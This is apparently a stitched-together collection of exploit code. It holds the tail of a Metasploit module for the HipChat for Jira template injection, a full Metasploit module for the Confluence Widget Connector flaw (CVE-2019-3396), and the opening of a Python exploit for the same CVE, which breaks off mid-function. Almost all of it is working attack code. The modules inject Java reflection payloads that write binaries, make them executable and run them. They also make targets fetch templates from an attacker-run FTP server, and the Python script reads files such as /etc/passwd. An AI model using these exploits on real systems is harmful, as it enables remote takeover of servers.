[ 'HipChat for Jira plugin on Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
],
'DefaultOptions' =>
{
'RPORT' => 8080
},
'Privileged' => false,
'DisclosureDate' => 'Oct 28 2015',
'DefaultTarget' => 0
))
register_options(
[
# Auth is required, but when we use the check command we allow them to be optional.
OptString.new('JIRAUSER', [false, 'Jira Username', '']),
OptString.new('JIRAPASS', [false, 'Jira Password', '']),
OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
], self.class)
end
# Returns a cookie in a hash, so you can ask for a specific parameter.
#
# @return [Hash]
def get_cookie_as_hash(cookie)
Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten]
end
# Checks the target by actually triggering the bug.
#
# @return [Array] Exploit::CheckCode::Vulnerable if bug was triggered.
# Exploit::CheckCode::Unknown if something failed.
# Exploit::CheckCode::Safe for the rest.
def do_explicit_check
begin
cookie = do_login
# I don't really care which command to execute, as long as it's a valid one for both platforms.
# If the command is valid, it should return {"message"=>"0"}.
# If the command is not valid, it should return an empty hash.
c = get_exec_code('whoami')
res = inject_template(c, cookie)
json = res.get_json_document
if json['message'] && json['message'] == '0'
return Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
# Returns the Jira version
#
# @return [String] Found Jira version
# @return [NilClass] No Jira version found.
def get_jira_version
version = nil
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
})
unless res
vprint_error('Connection timed out while retrieving the Jira version.')
return version
end
metas = res.get_html_meta_elements
version_element = metas.select { |m|
m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number'
}.first
unless version_element
vprint_error('Unable to find the Jira version.')
return version
end
version_element.attributes['content'] ? version_element.attributes['content'].value : nil
end
# Checks the target by looking at things like the Jira version, or whether the Jira web app
# exists or not.
#
# @return [Array] Check code. If the Jira version matches the vulnerable range, it returns
# Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return
# Exploit::CheckCode::Detected, because it's possible to have Jira not bundled
# with HipChat by default, but installed separately. For other scenarios, we
# return Safe.
def do_passive_check
jira_version = get_jira_version
vprint_status("Found Jira version: #{jira_version}")
if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
# Checks the vulnerability. Username and password are required to be able to accurately verify
# the vuln. If supplied, we will try the explicit check (which will trigger the bug, so should
# be more reliable). If not, we will try the passive one (less accurately, but better than
# nothing).
#
# @see #do_explicit_check
# @see #do_passive_check
#
# @return [Array] Check code
def check
checkcode = Exploit::CheckCode::Safe
if jira_cred_empty?
vprint_status("No username and password supplied, so we can only do a passive check.")
checkcode = do_passive_check
else
checkcode = do_explicit_check
end
checkcode
end
# Returns the Jira username set by the user
def jira_username
datastore['JIRAUSER']
end
# Returns the Jira password set by the user
def jira_password
datastore['JIRAPASS']
end
# Reports username and password to the database.
#
# @param opts [Hash]
# @option opts [String] :user
# @option opts [String] :password
#
# @return [void]
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)
create_credential_login(login_data)
end
# Returns a valid login cookie.
#
# @return [String]
def do_login
cookie = ''
prerequisites = get_login_prerequisites
xsrf = prerequisites['atlassian.xsrf.token']
sid = prerequisites['JSESSIONID']
uri = normalize_uri(target_uri.path, 'rest', 'gadget', '1.0', 'login')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'cookie' => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}",
'vars_post' => {
'os_username' => jira_username,
'os_password' => jira_password,
'os_captcha' => '' # Not beatable yet
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
end
json = res.get_json_document
if json.empty?
fail_with(Failure::Unknown, 'Server returned a non-JSon response while trying to login.')
end
if json['loginSucceeded']
cookie = res.get_cookies
elsif !json['loginSucceeded'] && json['captchaFailure']
fail_with(Failure::NoAccess, "#{jira_username} is protected by captcha. Please try a different account.")
elsif !json['loginSucceeded']
fail_with(Failure::NoAccess, 'Incorrect username or password')
end
report_cred(
user: jira_username,
password: jira_password
)
cookie
end
# Returns login prerequisites
#
# @return [Hash]
def get_login_prerequisites
uri = normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
res = send_request_cgi({ 'uri' => uri })
unless res
fail_with(Failure::Unknown, 'Connection timed out while getting login prerequisites')
end
get_cookie_as_hash(res.get_cookies)
end
# Returns the target platform.
#
# @param cookie [String] Jira cookie
# @return [String]
def get_target_platform(cookie)
c = get_os_detection_code
res = inject_template(c, cookie)
json = res.get_json_document
json['message'] || ''
end
# Returns Java code that can be used to inject to the template in order to write a file.
#
# @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
# and then execute the new file instead.
#
# @param fname [String] File to write to.
# @param p [String] Payload
# @return [String]
def get_write_file_code(fname, p)
b64 = Rex::Text.encode_base64(p)
%Q| $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{b64}')) |
end
# Returns the Java code that gives us the remote Java home path.
#
# @return [String]
def get_java_path_code
get_java_property_code('java.home')
end
# Returns the OS/platform information.
#
# @return [String]
def get_os_detection_code
get_java_property_code('os.name')
end
# Returns the temp path for Java.
#
# @return [String]
def get_temp_path_code
get_java_property_code('java.io.tmpdir')
end
# Returns a system property for Java.
#
# @param prop [String] Name of the property to retrieve.
# @return [String]
def get_java_property_code(prop)
%Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() |
end
# Returns the Java code to execute a jar file.
#
# @param java_path [String] Java home path
# @param war_path [String] The jar file to execute
# @return [String]
def get_jar_exec_code(java_path, war_path)
# A quick way to check platform instead of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === war_path
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java')
cmd_str = %Q|#{normalized_java_path} -jar #{war_path}|
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe')
war_path.gsub!(/Program Files/, 'PROGRA~1')
cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"|
end
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() |
end
# Returns Java code that can be used to inject to the template in order to execute a file.
#
# @param cmd [String] command to execute
# @return [String]
def get_exec_code(cmd)
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
end
# Returns Java code that can be used to inject to the template in order to chmod a file.
#
# @param fname [String] File to chmod
# @return [String]
def get_chmod_code(fname)
get_exec_code("chmod 777 #{fname}")
end
# Returns Java code that can be used to inject to the template in order to copy a file.
#
# @note The purpose of this method is to have a file that is not busy, so we can execute it.
# It is meant to be used with #get_write_file_code.
#
# @param fname [String] The file to copy
# @param new_fname [String] The new file
# @return [String]
def get_dup_file_code(fname, new_fname)
if fname =~ /^\/[[:print:]]+/
cp_cmd = "cp #{fname} #{new_fname}"
else
cp_cmd = "cmd.exe /C copy #{fname} #{new_fname}"
end
get_exec_code(cp_cmd)
end
# Returns a boolean indicating whether the module has a username and password.
#
# @return [TrueClass] There is an empty cred.
# @return [FalseClass] No empty cred.
def jira_cred_empty?
jira_username.blank? || jira_password.blank?
end
# Injects Java code to the template.
#
# @param p [String] Code that is being injected.
# @param cookie [String] A cookie that contains a valid JSESSIONID
# @return [void]
def inject_template(p, cookie)
login_sid = get_cookie_as_hash(cookie)['JSESSIONID']
uri = normalize_uri(target_uri.path, 'rest', 'hipchat', 'integrations', '1.0', 'message', 'render')
uri << '/'
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "JSESSIONID=#{login_sid}",
'ctype' => 'application/json',
'data' => { 'message' => p }.to_json
})
if !res
# This seems to trigger every time even though we're getting a shell. So let's downplay
# this a little bit. At least it's logged to allow the user to debug.
elog('Connection timed out in #inject_template')
elsif res && /Error report/ === res.body
print_error('Failed to inject and execute code:')
vprint_line(res.body)
elsif res
vprint_status("Server response:")
vprint_line res.body
end
res
end
# Checks if the target os/platform is compatible with the module target or not.
#
# @return [TrueClass] Compatible
# @return [FalseClass] Not compatible
def target_platform_compat?(target_platform)
target.platform.names.each do |n|
if /^java$/i === n || /#{n}/i === target_platform
return true
end
end
false
end
# Returns the normalized file path for payload.
#
# @return [String]
def normalize_payload_fname(tmp_path, fname)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
end
end
# Returns a temp path from the remote target.
#
# @param cookie [String] Jira cookie
# @return [String]
def get_tmp_path(cookie)
c = get_temp_path_code
res = inject_template(c, cookie)
json = res.get_json_document
json['message'] || ''
end
# Returns the Java home path used by Jira.
#
# @param cookie [String] Jira cookie.
# @return [String]
def get_java_home_path(cookie)
c = get_java_path_code
res = inject_template(c, cookie)
json = res.get_json_document
json['message'] || ''
end
# Exploits the target in Java platform.
#
# @return [void]
def exploit_as_java(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
jar = payload.encoded_jar
java_home = get_java_home_path(cookie)
register_files_for_cleanup(jar_fname)
if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
print_status("Found Java home path: #{java_home}")
end
print_status("Attempting to write #{jar_fname}")
c = get_write_file_code(jar_fname, jar)
inject_template(c, cookie)
print_status("Executing #{jar_fname}")
c = get_jar_exec_code(java_home, jar_fname)
inject_template(c, cookie)
end
# Exploits the target in Windows platform.
#
# @return [void]
def exploit_as_windows(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
exe = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
exe_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
exe_new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
exe_fname.gsub!(/Program Files/, 'PROGRA~1')
exe_new_fname.gsub!(/Program Files/, 'PROGRA~1')
register_files_for_cleanup(exe_fname, exe_new_fname)
print_status("Attempting to write #{exe_fname}")
c = get_write_file_code(exe_fname, exe)
inject_template(c, cookie)
print_status("New file will be #{exe_new_fname}")
c = get_dup_file_code(exe_fname, exe_new_fname)
inject_template(c, cookie)
print_status("Executing #{exe_new_fname}")
c = get_exec_code(exe_new_fname)
inject_template(c, cookie)
end
# Exploits the target in Linux platform.
#
# @return [void]
def exploit_as_linux(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(fname, new_fname)
print_status("Attempting to write #{fname}")
p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
c = get_write_file_code(fname, p)
inject_template(c, cookie)
print_status("chmod +x #{fname}")
c = get_exec_code("chmod 777 #{fname}")
inject_template(c, cookie)
print_status("New file will be #{new_fname}")
c = get_dup_file_code(fname, new_fname)
inject_template(c, cookie)
print_status("Executing #{new_fname}")
c = get_exec_code(new_fname)
inject_template(c, cookie)
end
def exploit
if jira_cred_empty?
fail_with(Failure::BadConfig, 'Jira username and password are required.')
end
print_status("Attempting to login as #{jira_username}:#{jira_password}")
cookie = do_login
print_good("Successfully logged in as #{jira_username}")
target_platform = get_target_platform(cookie)
print_status("Target being detected as: #{target_platform}")
unless target_platform_compat?(target_platform)
fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
end
case target.name
when /java$/i
exploit_as_java(cookie)
when /windows$/i
exploit_as_windows(cookie)
when /linux$/i
exploit_as_linux(cookie)
end
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer
def initialize(info={})
super(update_info(info,
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
specify which native payload you want (Linux or Windows).
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
This vulnerability was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniil Dmitriev', # Discovering vulnerability
'Dmitry (rrock) Shchannikov' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-3396' ],
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
[ 'URL', 'https://paper.seebug.org/886/']
],
'Targets' =>
[
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
],
'DefaultOptions' =>
{
'RPORT' => 8090,
'SRVPORT' => 8021,
},
'Privileged' => false,
'DisclosureDate' => 'Mar 25 2019',
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
'https://www.youtube.com/watch?v=dQw4w9WgXcQ'])
])
end
# Handles ftp RETP command.
#
# @param c [Socket] Control connection socket.
# @param arg [String] RETR argument.
# @return [void]
def on_client_command_retr(c, arg)
vprint_status("FTP download request for #{arg}")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
case arg
when /check\.vm$/
conn.put(wrap(get_check_vm))
when /javaprop\.vm$/
conn.put(wrap(get_javaprop_vm))
when /upload\.vm$/
conn.put(wrap(get_upload_vm))
when /exec\.vm$/
conn.put(wrap(get_exec_vm))
else
conn.put(wrap(get_dummy_vm))
end
c.put("226 Transfer complete.\r\n")
conn.close
end
# Handles ftp PASS command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param arg [String] PASS argument.
# @return [void]
def on_client_command_pass(c, arg)
@state[c][:pass] = arg
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
c.put "230 Login OK\r\n"
end
# Handles ftp EPSV command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param arg [String] EPSV argument.
# @return [void]
def on_client_command_epsv(c, arg)
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
c.put("500 'EPSV #{arg}': command not understood.\r\n")
end
# Returns a upload template.
#
# @return [String]
def get_upload_vm
(
<<~EOF
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
EOF
)
end
# Returns a command execution template.
#
# @return [String]
def get_exec_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
EOF
)
end
# Returns checking template.
#
# @return [String]
def get_check_vm
(
<<~EOF
#{@check_text}
EOF
)
end
# Returns Java's getting property template.
#
# @return [String]
def get_javaprop_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
EOF
)
end
# Returns dummy template.
#
# @return [String]
def get_dummy_vm
(
<<~EOF
EOF
)
end
# Checks the vulnerability.
#
# @return [Array] Check code
def check
checkcode = Exploit::CheckCode::Safe
begin
# Start the FTP service
print_status("Starting the FTP server.")
start_service
@check_text = Rex::Text.rand_text_alpha(5..10)
res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm")
if res && res.body && res.body.include?(@check_text)
checkcode = Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
checkcode = Exploit::CheckCode::Unknown
end
checkcode
end
# Injects Java code to the template.
#
# @param service_url [String] Address of template to injection.
# @return [void]
def inject_template(service_url, timeout=20)
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' => {
'Accept' => '*/*',
'Origin' => full_uri(vhost_uri: true)
},
'ctype' => 'application/json; charset=UTF-8',
'data' => {
'contentId' => '1',
'macro' => {
'name' => 'widget',
'body' => '',
'params' => {
'url' => datastore['TRIGGERURL'],
'_template' => service_url
}
}
}.to_json
}, timeout=timeout)
unless res
unless service_url.include?("exec.vm")
print_warning('Connection timed out in #inject_template')
end
return
end
if res.body.include? 'widget-error'
print_error('Failed to inject and execute code:')
else
vprint_status("Server response:")
end
vprint_line(res.body)
res
end
# Returns a system property for Java.
#
# @param prop [String] Name of the property to retrieve.
# @return [String]
def get_java_property(prop)
@prop = prop
res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
if res && res.body
return clear_response(res.body)
end
''
end
# Returns the target platform.
#
# @return [String]
def get_target_platform
return get_java_property('os.name')
end
# Checks if the target os/platform is compatible with the module target or not.
#
# @return [TrueClass] Compatible
# @return [FalseClass] Not compatible
def target_platform_compat?(target_platform)
target.platform.names.each do |n|
if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
return true
end
end
false
end
# Returns a temp path from the remote target.
#
# @return [String]
def get_tmp_path
return get_java_property('java.io.tmpdir')
end
# Returns the Java home path used by Confluence.
#
# @return [String]
def get_java_home_path
return get_java_property('java.home')
end
# Returns Java code that can be used to inject to the template in order to copy a file.
#
# @note The purpose of this method is to have a file that is not busy, so we can execute it.
# It is meant to be used with #get_write_file_code.
#
# @param fname [String] The file to copy
# @param new_fname [String] The new file
# @return [void]
def get_dup_file_code(fname, new_fname)
if fname =~ /^\/[[:print:]]+/
@command = "cp #{fname} #{new_fname}"
else
@command = "cmd.exe /C copy #{fname} #{new_fname}"
end
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
end
# Returns the normalized file path for payload.
#
# @return [String]
def normalize_payload_fname(tmp_path, fname)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
end
end
# Exploits the target in Java platform.
#
# @return [void]
def exploit_as_java
tmp_path = get_tmp_path
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
@command = ''
java_home = get_java_home_path
if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
vprint_status("Found Java home path: #{java_home}")
end
register_files_for_cleanup(@fname)
if /^\/[[:print:]]+/ === @fname
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
@command = %Q|#{normalized_java_path} -jar #{@fname}|
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
@fname.gsub!(/Program Files/, 'PROGRA~1')
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
end
print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
print_status("Attempting to execute #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
end
# Exploits the target in Windows platform.
#
# @return [void]
def exploit_as_windows
tmp_path = get_tmp_path
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
@fname.gsub!(/Program Files/, 'PROGRA~1')
new_fname.gsub!(/Program Files/, 'PROGRA~1')
register_files_for_cleanup(@fname, new_fname)
print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
print_status("Attempting to copy payload to #{new_fname}")
get_dup_file_code(@fname, new_fname)
print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
end
# Exploits the target in Linux platform.
#
# @return [void]
def exploit_as_linux
tmp_path = get_tmp_path
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(@fname, new_fname)
print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
@command = "chmod +x #{@fname}"
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
print_status("Attempting to copy payload to #{new_fname}")
get_dup_file_code(@fname, new_fname)
print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
end
def exploit
@wrap_marker = Rex::Text.rand_text_alpha(5..10)
# Start the FTP service
print_status("Starting the FTP server.")
start_service
target_platform = get_target_platform
if target_platform.nil?
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
else
print_status("Target being detected as: #{target_platform}")
end
unless target_platform_compat?(target_platform)
fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
end
case target.name.downcase
when /java$/
exploit_as_java
when /windows$/
exploit_as_windows
when /linux$/
exploit_as_linux
end
end
# Wraps request.
#
# @return [String]
def wrap(string)
"#{@wrap_marker}\n#{string}#{@wrap_marker}\n"
end
# Returns unwrapped response.
#
# @return [String]
def clear_response(string)
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
return match.captures[0]
end
end
end
# Exploit Title: Atlassian Confluence Widget Connector Macro - SSTI
# Date: 21-Jan-2021
# Exploit Author: 46o60
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
# Version: 6.12.1
# Tested on: Ubuntu 20.04.1 LTS
# CVE : CVE-2019-3396
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""
Exploit for CVE-2019-3396 (https://www.cvedetails.com/cve/CVE-2019-3396/) Widget Connector macro in Atlassian
Confluence Server server-side template injection.
Vulnerability information:
Authors:
Daniil Dmitriev - Discovering vulnerability
Dmitry (rrock) Shchannikov - Metasploit module
Exploit
ExploitDB:
https://www.exploit-db.com/exploits/46731
Metasploit
https://www.rapid7.com/db/modules/exploit/multi/http/confluence_widget_connector/
exploit/multi/http/confluence_widget_connector
While Metasploit module works perfectly fine it has a limitation that to gain RCE outbound FTP request is being made
from the target Confluence server towards attacker's server where the Velocity template with the payload is being
hosted. If this is not possible, for example, because network where the target Confluence server is located filters all
outbound traffic, alternative approach is needed. This exploit, in addition to original exploit implements this
alternative approach by first uploading the template to the server and then loading it with original vulnerability from
local file system. The limitation is that to upload a file, a valid session is needed for a non-privileged user. Any
user can upload a file to the server by attaching the file to his "personal space".
There are two modes of the exploit:
1. Exploiting path traversal for file disclosure and directory listings.
2. RCE by uploading a template file with payload to the server.
In case where network is filtered and loading remote template is not possible and also you do not have a low-privileged
user session, you can still exploit the '_template' parameter to browse the server file system by using the first mode
of this exploit. Conveniently, application returns file content as well as directory listing depending on to what path
is pointing to. As in original exploit no authentication is needed for this mode.
Limitations of path traversal exploit:
- not possible to distinguish between non-existent path and lack of permissions
- no distinction between files and directories in the output
If you have ability to authenticate to the server and have enough privileges to upload files use the second mode. A
regular user probably has enough privileges for this since each user can have their own personal space where they
should be able to add attachments. This exploit automatically finds the personal space, or creates one if it does not
exists, a file with Velocity template payload. It then uses the original vulnerability but loads the template file
with payload from local filesystem instead from remote system.
Prerequisite of RCE in this exploit:
- authenticated session is needed
- knowledge of where attached files are stored on the file system - if it is not default location then use first mode
to find it, should be in Confluence install directory under ./attachments subdirectory
Usage
- list /etc folder on Confluence server hosted on http://confluence.example.com
python exploit.py -th confluence.example.com fs /etc
- get content of /etc/passwd on same server but through a proxy
python exploit.py -th confluence.example.com -px http://127.0.0.1:8080 fs /etc/passwd
- execute 'whoami' command on the same server (this will upload a template file with payload to the server using
existing session)
python exploit.py -th confluence.example.com rce -c JSESSIONID=ABCDEF123456789ABCDEF123456789AB "whoami"
Tested on Confluence versions:
6.12.1
To test the exploit:
1. Download Confluence trial version for version 6.12.1
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
(to find this URL go to download page for the latest version, pick LTS release Linux 64 Bit, turn on the browser
network tools to capture HTTP traffic, click Submit, take the URL from request towards 'product-downloads' and
change the version in URL to be 6.12.1)
SHA256: 679b1c05cf585b92af9888099c4a312edb2c4f9f4399cf1c1b716b03c114e9e6 atlassian-confluence-6.12.1-x64.bin
2. Run the binary to install it, for example on Ubuntu 20.04. Use "Express Install" and everything by default.
chmod +x atlassian-confluence-6.12.1-x64.bin
sudo ./atlassian-confluence-6.12.1-x64.bin
3. Open the browser to configure initial installation, when you get to license window copy the server ID.
4. Create account at https://my.atlassian.com/ and request for new trial license using server ID.
5. Activate the license and finish the installation with default options.
6. Create a user and login with him to go through initial user setup and get the session id for RCE part of the
exploit.
7. Run the exploit (see usage above).
"""
__version__ = "1.0.0"
__author__ = "46o60"
import argparse
import logging
import requests
import urllib3
from bs4 import BeautifulSoup
import re
import json
import random
import string
# script and banner
SCRIPT_NAME = "CVE-2019-3396: Confluence exploit script"
ASCII_BANNER_TEXT = """____ ____ _ _ ____ _ _ _ ____ _ _ ____ ____ ____
| | | |\ | |___ | | | |___ |\ | | | | |__/
|___ |__| | \| | |___ |__| |___ | \| |___ |__| | \
"""
# turn off requests log output
urllib3.disable_warnings()
logging.getLogger("urllib3").setLevel(logging.WARNING)
def print_banner():
"""
Prints script ASCII banner and basic information.
Because it is cool.
"""
print(ASCII_BANNER_TEXT)
print("{} v{}".format(SCRIPT_NAME, __version__))
print("Author: {}".format(__author__))
print()
def exit_log(logger, message):
"""
Utility function to log exit message and finish the script.
"""
logger.error(message)
exit(1)
def check_cookie_format(value):
"""
Checks if value is in format: ^[^=]+=[^=]+$
"""
pattern = r"^[^=]+=[^=]+$"
if not re.match(pattern, value):
raise argparse.ArgumentTypeError("provided cookie string does not have correct format")
return value
def parse_arguments():
"""
Performs parsing of script arguments.
"""
# creating parser
parser = argparse.ArgumentParser(
prog=SCRIPT_NAME,
description="Exploit CVE-2019-3396 to explore file system or gain RCE through file upload."
)
# general script arguments
parser.add_argument(
"-V", "--version",
help="displays the current version of the script",
action="version",
version="{name} {version}".format(name=SCRIPT_NAME, version=__version__)
)
parser.add_argument(
"-v", "--verbosity",
